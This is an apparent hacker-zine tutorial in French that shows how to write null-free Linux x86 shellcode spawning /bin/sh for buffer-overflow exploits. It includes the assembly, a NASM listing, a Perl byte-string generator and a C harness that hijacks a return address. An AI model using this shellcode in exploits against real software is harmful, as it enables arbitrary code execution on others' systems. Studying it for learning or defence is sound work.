.. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 14 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Shellcode ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Darkis [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | ...:::{ Outl4wz }:::... { 0x1 } Introduction: Ce que il faut savoir .... . utiliser linux . . Connaitre les notions de base de la programmation en C et en assembleur. { 0x2 } C'est quoi un shellcode? Un shellcode est une chaine de caractère qui représente un code binaire exécutable. il constitue un des éléments les plus importants des exploits utilisant les failles de type débordement de tampon (buffer overflow). Pendant l'attaque, il est injecté par l'exploit dans un programme en cours d'exécution, et à partir de celui-ci, il exécute le code voulu par l'attaquant (il est souvent utilisé pour appeler un Shell). { 0x3 } coding .. Il faut connaitre un peu l'asm , c'est obligé! Notre but est de créer un code binaire qui lance un Shell. Soit un code équivalent au programme C suivant : ------shell.c-------- #include <stdlib.h> int main(void) { execl("/bin/sh","sh",0); return 0; } Pourquoi utilise execl() et pas system() ? tout simplement parce qu’execve() prent le même PID que le processus dont a été lancé et arrête, alors que system() crée un nouveau processus. Ce que modifiera la pile et le programme ne pourra plus continuer normalement, ce que provoquerait un crash du programme exploite. (Toutes les fonctions de la famille exec utilisent ce principe). Nous utiliserons NASM comme compilateur qu'est disponible dans presque toutes les distributions de linux. Mieux vaux connaitre les notions de bases de l'asm , c'est obligé!!(moi-même j'ai du lire de la documentation avant de comprendre) L'équivalent en assembleur du programme C ci-dessus est le programme suivant : -------shellcode.asm---------- [global main] main: jmp short donné retour: pop esi ;récupère l'adresse de '/bin/sh' xor edx, edx mov [esi+8], esi mov [esi+12], edx mov al, 11 ; syscall = 11, la fonction appellée est execve mov ebx, esi lea ecx, [esi+8] ; ecx contient l'adresse d'un tableau avec les arguments cf int 0x80 ; interruption donnees: call retour ; Comme pour chaque instruction call db '/bin/sh',0 ; eip + 4, cad l'adresse de l'instruction suivante, ; est empilée pour pouvoir reprendre ; l'exécution à la prochaine instruction ; après appel de la procédure retour. ; Sur la pile on a donc l'adresse de la ; chaîne '/bin/sh' ; Vérifions le : darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -o shellcode darkis@outlawz:~/coding$ chmod +x shellcode darkis@outlawz:~/coding$ ./shellcode sh-2.05b$ En est fait notre programme en assembleur lance bien un Shell :] Souvent un shellcode est destiné à être recopié dans un buffer vulnérable, par exemple strcpy s'arrêt dès qu'elle renconrte un caractère nul ('\x00'), donc il faut que notre shellcode ne contienne aucun caractère nul. Seul le dernier caractère du shellcode peut être nul, il se termine ainsi comme une chaine normale. Ainsi, nous avons soigneusement choisi les instructions assembleur afin qu'elles ne produisent pas d'octets nuls une fois compilées. Par exemple l'instruction mov eax, 0 (B800000000 en binaire) produit beaucoup de zéro, tandis que l'instruction équivalente xor eax, eax (31C0) n'en produit aucun. { 0x4 } les fichiers Source ( *.S ) il nous reste à en faire une représentation en chaine de caractères afin qu'il puisse être copié dans un buffer, en faite c'est très simple: l'option -l de NASM nous permet d'obtenir un listing qui contient le code assembleur et le code binaire correspondant. darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -l shellcode.S Si vous ouvrez shellcode.S vous aurez un truc de genre : -------------shellcode.S------------- 1 [global main] 2 main: 3 00000000 EB12 jmp short donnees 4 retour: 5 00000002 5E pop esi ;récup$ 6 00000003 31D2 xor edx, edx 7 00000005 897608 mov [esi+8], esi 8 00000008 89560C mov [esi+12], edx 9 0000000B B00B mov al, 11 ; sysca$ 10 0000000D 89F3 mov ebx, esi 11 0000000F 8D4E08 lea ecx, [esi+8] ; ecx c$ 12 00000012 CD80 int 0x80 ; inter$ 13 donnees: 14 00000014 E8E9FFFFFF call retour ; Comme$ 15 00000019 2F62696E2F736800 db '/bin/sh',0 ; eip +$ ---------------------------- Ou bien: darkis@outlawz:~/coding$ as -a -o fichier.o fichier.asm > fichier.S Qui donne le même résultat! Ce que nous intéresse ici c'est la 3eme colone : EB12 5E 31D2 ... Comme vous pouvez le voir pour les mettre en format lisible: "\xeb\x12\x5e\x31..." on prend les caractères hex 2 par 2 "xEb" et on les met a la suite comme ci-dessus "\xeb\x12\..\x00". { 0x5 } bonus! Ce script en perl parcourt un fichier source (*.S) afin de créer la chaine de caractère qui correspond à notre shellcode. ----------------generateur.pl------------------- #! /usr/bin/perl if(@ARGV < 1) { die "Usage $0 <fichier.S>\n\n"; } $file = shift; open(FILE, $file) or die "Impossible d'ouvrir le fichier $ARGV[0] : $!\n"; while(<FILE>) { if(/ {4}\w+ (\w+) (\w+)./) { $sc.=$2; } } for($i= 0 ;$i < length($sc) ;$i++) { if(! ($i % 2)) { print "\\x" ; } print substr(lc($sc) , $i , 1) } print "\n" darkis@outlawz:~/coding$ chmod +x generateur.pl darkis@outlawz:~/coding$ ./generateur.pl shellcode.S \xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff \x2f\x62\x69\x6e\x2f\x73\x68\x00 Pour terminer notre article, nous allons réaliser un petit programme C qui exécute notre shellcode : -------------shell.c--------------- char sc[]="\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9 \xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00"; main (void) { int * ret; * ((int *) &ret + 2) = (int) sc; return (0); } ------------------------------ darkis@outlawz:~/coding$ gcc shell.c -o shell darkis@outlawz:~/coding$ ./shell sh-2.05b$ { 0x6 } CONCLUSION j'espère que j'n’ai pas dit trop de connerie , et désole pour l'orthographe :p darkis , #linux.ma Outl4wz Greetz :phawnky ..